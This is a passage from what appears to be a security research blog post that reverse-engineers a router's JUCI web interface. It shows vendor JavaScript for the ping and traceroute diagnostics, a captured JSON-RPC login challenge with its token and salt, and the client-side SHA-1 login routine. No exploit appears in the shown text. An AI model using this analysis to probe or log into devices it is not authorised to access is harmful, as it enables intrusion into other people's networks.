    return {\n                label: x&#91;\".name\"&#93;,\n                value: x&#91;\".name\"&#93;\n            }\n        });\n        $scope.$apply()\n    });\n    $scope.onTraceTest = function() {\n        $rpc.juci.diagnostics.traceroute({\n            host: $scope.data.traceHost\n        }).done(function(result) {\n            if (result.stderr) $scope.data.traceError = result.stderr;\n            $scope.data.traceResults = result.stdout;\n            $scope.$apply()\n        }).fail(function(error) {\n            $scope.data.traceResults = \"\";\n            $scope.data.traceError = JSON.stringify(error);\n            $scope.$apply()\n        })\n    };\n    $scope.onPingTest = function() {\n        $scope.data.pingResults = \"...\";\n        $scope.data.error = \"\";\n        $rpc.juci.diagnostics.ping({\n            host: $scope.data.pingHost\n        }).done(function(result) {\n            if (result.stderr) $scope.data.pingError = result.stderr;\n            $scope.data.pingResults = result.stdout;\n            $scope.$apply()\n        }).fail(function(error) {\n            $scope.data.pingResults = \"\";\n            $scope.data.pingError = JSON.stringify(error);\n            $scope.$apply()\n        })\n    }\n});<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">JUCI.app.<\/span><span style=\"color: #A6E22E\">controller<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;StatusDiagnostics&quot;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">$scope<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">$rpc<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">$network<\/span><span style=\"color: #F8F8F2\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    $scope.data <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> {};<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    $network.<\/span><span style=\"color: #A6E22E\">getNetworks<\/span><span style=\"color: #F8F8F2\">().<\/span><span style=\"color: #A6E22E\">done<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">nets<\/span><span style=\"color: #F8F8F2\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        $scope.data.allInterfaces <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> nets.<\/span><span style=\"color: #A6E22E\">map<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">x<\/span><span style=\"color: #F8F8F2\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                label: x&#91;<\/span><span style=\"color: #E6DB74\">&quot;.name&quot;<\/span><span style=\"color: #F8F8F2\">&#93;,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                value: x&#91;<\/span><span style=\"color: #E6DB74\">&quot;.name&quot;<\/span><span style=\"color: #F8F8F2\">&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        });<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        $scope.<\/span><span style=\"color: #A6E22E\">$apply<\/span><span style=\"color: #F8F8F2\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    });<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    $scope.<\/span><span style=\"color: #A6E22E\">onTraceTest<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">() {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        $rpc.juci.diagnostics.<\/span><span style=\"color: #A6E22E\">traceroute<\/span><span style=\"color: #F8F8F2\">({<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            host: $scope.data.traceHost<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        }).<\/span><span style=\"color: #A6E22E\">done<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">result<\/span><span style=\"color: #F8F8F2\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> (result.stderr) $scope.data.traceError <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> result.stderr;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            $scope.data.traceResults <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> result.stdout;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            $scope.<\/span><span style=\"color: #A6E22E\">$apply<\/span><span style=\"color: #F8F8F2\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        }).<\/span><span style=\"color: #A6E22E\">fail<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">error<\/span><span style=\"color: #F8F8F2\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            $scope.data.traceResults <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;&quot;<\/span><span style=\"color: #F8F8F2\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            $scope.data.traceError <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> JSON.<\/span><span style=\"color: #A6E22E\">stringify<\/span><span style=\"color: #F8F8F2\">(error);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            $scope.<\/span><span style=\"color: #A6E22E\">$apply<\/span><span style=\"color: #F8F8F2\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        })<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    };<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    $scope.<\/span><span style=\"color: #A6E22E\">onPingTest<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">() {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        $scope.data.pingResults <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;...&quot;<\/span><span style=\"color: #F8F8F2\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        $scope.data.error <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;&quot;<\/span><span style=\"color: #F8F8F2\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        $rpc.juci.diagnostics.<\/span><span style=\"color: #A6E22E\">ping<\/span><span style=\"color: #F8F8F2\">({<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            host: $scope.data.pingHost<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        }).<\/span><span style=\"color: #A6E22E\">done<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">result<\/span><span style=\"color: #F8F8F2\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> (result.stderr) $scope.data.pingError <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> result.stderr;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            $scope.data.pingResults <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> result.stdout;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            $scope.<\/span><span style=\"color: #A6E22E\">$apply<\/span><span style=\"color: #F8F8F2\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        }).<\/span><span style=\"color: #A6E22E\">fail<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">error<\/span><span style=\"color: #F8F8F2\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            $scope.data.pingResults <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;&quot;<\/span><span style=\"color: #F8F8F2\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            $scope.data.pingError <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> JSON.<\/span><span style=\"color: #A6E22E\">stringify<\/span><span style=\"color: #F8F8F2\">(error);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            $scope.<\/span><span style=\"color: #A6E22E\">$apply<\/span><span style=\"color: #F8F8F2\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        })<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">});<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Yes ! JUCI uses angular library, kind of customized one dedicated for the embedded routers. So the ping function get the host parameter from the text field and send it through a <a href=\"https:\/\/en.wikipedia.org\/wiki\/JSON-RPC\" data-type=\"URL\" data-id=\"https:\/\/en.wikipedia.org\/wiki\/JSON-RPC\">JsonRPC <\/a>websocket. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Let&#8217;s analyze the Websocket traffic:<\/strong><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"837\" height=\"628\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-86.png\" alt=\"\" class=\"wp-image-191\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-86.png 837w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-86-300x225.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-86-768x576.png 768w\" sizes=\"auto, (max-width: 837px) 100vw, 837px\" \/><\/figure>\n<\/div>\n\n\n<ul class=\"wp-block-list\">\n<li>The first request is initiated by the user when he presses login button.<\/li>\n\n\n\n<li>If you noticed, there is no POST or GET. The login process is like a handshake. The first request looks like this:<\/li>\n<\/ul>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>{jsonrpc: \"2.0\", id: 15, method: \"challenge\", params: &#91;\"admin\"&#93;}\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">{jsonrpc: <\/span><span style=\"color: #E6DB74\">&quot;2.0&quot;<\/span><span style=\"color: #F8F8F2\">, id: <\/span><span style=\"color: #AE81FF\">15<\/span><span style=\"color: #F8F8F2\">, method: <\/span><span style=\"color: #E6DB74\">&quot;challenge&quot;<\/span><span style=\"color: #F8F8F2\">, params: &#91;<\/span><span style=\"color: #E6DB74\">&quot;admin&quot;<\/span><span style=\"color: #F8F8F2\">&#93;}<\/span><\/span>\n<span class=\"line\"><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">The meaning of each section of this JSON data:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The JsonRPC version number 2.0<\/li>\n\n\n\n<li>The ID is just a unique ID for websocket channel.<\/li>\n\n\n\n<li>The method you want to use. Challenge method in this case.<\/li>\n\n\n\n<li>Params contains the username that we want to login with.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">For more info about the JsonRPC protocol used in this router, here is the link: <a href=\"https:\/\/github.com\/mkschreder\/orangerpcd\">https:\/\/github.com\/mkschreder\/orangerpcd<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The answer that we received from the server contains:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>{jsonrpc: \"2.0\", id: 15, result: {token: \"35f6abd5\", salt: \"vrdCz1TS\"}}\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">{jsonrpc: <\/span><span style=\"color: #E6DB74\">&quot;2.0&quot;<\/span><span style=\"color: #F8F8F2\">, id: <\/span><span style=\"color: #AE81FF\">15<\/span><span style=\"color: #F8F8F2\">, result: {token: <\/span><span style=\"color: #E6DB74\">&quot;35f6abd5&quot;<\/span><span style=\"color: #F8F8F2\">, salt: <\/span><span style=\"color: #E6DB74\">&quot;vrdCz1TS&quot;<\/span><span style=\"color: #F8F8F2\">}}<\/span><\/span>\n<span class=\"line\"><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">The response is interesting. It does contain two important values: Token and Salt. To understand what&#8217;s the purpose of these two values, we have to look into the <strong>Javascript <\/strong>code:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>RevoRPC.prototype.$login = function(username, password) {\n        if (username &amp;&amp; username.username != undefined) {\n            password = username.password;\n            username = username.username;\n        }\n        var self = this;\n        var def = $.Deferred();\n        self.$challenge(username).done(function(resp) {\n            console.log(\"login: got challenge: \" + JSON.stringify(resp));\n            var sha = new jsSHA(\"SHA-1\",\"TEXT\");\n            var pwhash = new jsSHA(\"SHA-1\",\"TEXT\");\n            pwhash.update(password);\n            sha.update(resp.token);\n            sha.update(pwhash.getHash(\"HEX\"));\n            var response = self.$response(password, resp.salt, resp.token);\n            self.$request(\"login\", &#91;username, response.response, response.challenge&#93;).done(function(resp) {\n                console.log(\"login: \" + JSON.stringify(resp));\n                if (resp.success) {\n                    $juci.loggedin = true;\n                    sessionStorage.setItem(\"sid\", resp.success);\n                    UCI.$sync(\"mfgmode\").done(function() {\n                        $juci.config.mfgmode = UCI.mfgmode &amp;&amp; UCI.mfgmode.mfgmode &amp;&amp; UCI.mfgmode.mfgmode.enabled ? UCI.mfgmode.mfgmode.enabled.value : false;\n                        if ($juci.config.mfgmode) {\n                            self.$logout();\n                            def.reject(\"Device Manufacture Incomplete: Login Disabled\")\n                        } else\n                            def.resolve(resp.success)\n                    }).fail(function() {\n                        def.resolve(resp.success)\n                    })\n                }\n                if (resp.error)\n                    def.reject()\n            }).fail(function() {\n                def.reject()\n            })\n        }).fail(function() {\n            def.reject()\n        });\n        return def.promise()\n    }<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">RevoRPC<\/span><span style=\"color: #F8F8F2\">.prototype.<\/span><span style=\"color: #A6E22E\">$login<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">username<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">password<\/span><span style=\"color: #F8F8F2\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> (username <\/span><span style=\"color: #F92672\">&amp;&amp;<\/span><span style=\"color: #F8F8F2\"> username.username <\/span><span style=\"color: #F92672\">!=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">undefined<\/span><span style=\"color: #F8F8F2\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            password <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> username.password;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            username <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> username.username;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #66D9EF; font-style: italic\">var<\/span><span style=\"color: #F8F8F2\"> self <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #FD971F\">this<\/span><span style=\"color: #F8F8F2\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #66D9EF; font-style: italic\">var<\/span><span style=\"color: #F8F8F2\"> def <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> $.<\/span><span style=\"color: #A6E22E\">Deferred<\/span><span style=\"color: #F8F8F2\">();<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        self.<\/span><span style=\"color: #A6E22E\">$challenge<\/span><span style=\"color: #F8F8F2\">(username).<\/span><span style=\"color: #A6E22E\">done<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">resp<\/span><span style=\"color: #F8F8F2\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            console.<\/span><span style=\"color: #A6E22E\">log<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;login: got challenge: &quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">+<\/span><span style=\"color: #F8F8F2\"> JSON.<\/span><span style=\"color: #A6E22E\">stringify<\/span><span style=\"color: #F8F8F2\">(resp));<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #66D9EF; font-style: italic\">var<\/span><span style=\"color: #F8F8F2\"> sha <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">new<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">jsSHA<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;SHA-1&quot;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&quot;TEXT&quot;<\/span><span style=\"color: #F8F8F2\">);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #66D9EF; font-style: italic\">var<\/span><span style=\"color: #F8F8F2\"> pwhash <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">new<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">jsSHA<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;SHA-1&quot;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&quot;TEXT&quot;<\/span><span style=\"color: #F8F8F2\">);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            pwhash.<\/span><span style=\"color: #A6E22E\">update<\/span><span style=\"color: #F8F8F2\">(password);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            sha.<\/span><span style=\"color: #A6E22E\">update<\/span><span style=\"color: #F8F8F2\">(resp.token);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            sha.<\/span><span style=\"color: #A6E22E\">update<\/span><span style=\"color: #F8F8F2\">(pwhash.<\/span><span style=\"color: #A6E22E\">getHash<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;HEX&quot;<\/span><span style=\"color: #F8F8F2\">));<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #66D9EF; font-style: italic\">var<\/span><span style=\"color: #F8F8F2\"> response <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> self.<\/span><span style=\"color: #A6E22E\">$response<\/span><span style=\"color: #F8F8F2\">(password, resp.salt, resp.token);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            self.<\/span><span style=\"color: #A6E22E\">$request<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;login&quot;<\/span><span style=\"color: #F8F8F2\">, &#91;username, response.response, response.challenge&#93;).<\/span><span style=\"color: #A6E22E\">done<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">resp<\/span><span style=\"color: #F8F8F2\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                console.<\/span><span style=\"color: #A6E22E\">log<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;login: &quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">+<\/span><span style=\"color: #F8F8F2\"> JSON.<\/span><span style=\"color: #A6E22E\">stringify<\/span><span style=\"color: 